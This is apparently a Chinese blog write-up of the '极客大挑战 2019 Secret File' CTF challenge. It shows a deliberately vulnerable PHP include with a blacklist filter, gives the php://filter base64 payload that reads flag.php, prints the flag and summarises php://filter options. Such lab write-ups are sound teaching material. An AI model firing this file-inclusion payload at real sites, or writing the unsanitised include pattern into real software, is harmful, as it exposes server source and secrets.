[极客大挑战 2019]Secret File

14 篇文章 2 订阅

[极客大挑战 2019]Secret File

一、考点

  • 前端中背景可以覆盖内容,页面源代码可以查看完整的html
  • 在php文件中可以写入html代码,html可在前端展示出来,php代码主要是处理数据,通常不会展示。
  • 文件包含漏洞,PHP伪协议获取文件
  • php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

二、解题步骤

1、打开网页,直接查看源码,发现隐藏的Archive_room.php,尝试访问

在这里插入图片描述

2、发现一个button,尝试点进去看看,发现直接跳转到了end.php,看到提示猜测是我们在中间有一些消息没有查看到

在这里插入图片描述

3、burp抓个包看看情况,果然不出所料,其中隐藏了一个我们没有查看到的secr3t.php

在这里插入图片描述

4、来尝试访问一下这个页面,得到一段php+html的代码回显

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

5、尝试访问flag.php的页面,果然无法访问,回过头来查看源码,发现是传入的file经过了过滤,过滤了…/ tp input data。利用文件包含漏洞,php伪协议来构造url

/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

6、访问新构造的url后,看到base64的回显内容,也就是flag.php加密后的内容

在这里插入图片描述

7、对回显内容base64解密得到flag.php内容的源码

在这里插入图片描述

8、得到flag{ecbc4b08-8522-48cd-a990-8cb4b8825ccf}

三、php://filter参数简单总结

php://filter 参数描述
resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔
write=<写链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔
<; 两个链的过滤器>任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

主要转换器类型:

  • 字符串过滤器
  • 转换过滤器
  • 压缩过滤器
  • 加密过滤器

本题遇到的转换过滤器

转换过滤器作用
convert.base64-encode & convert.base64-decode等同于base64_encode()和base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decodequoted-printable 字符串与 8-bit 字符串编码解码
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值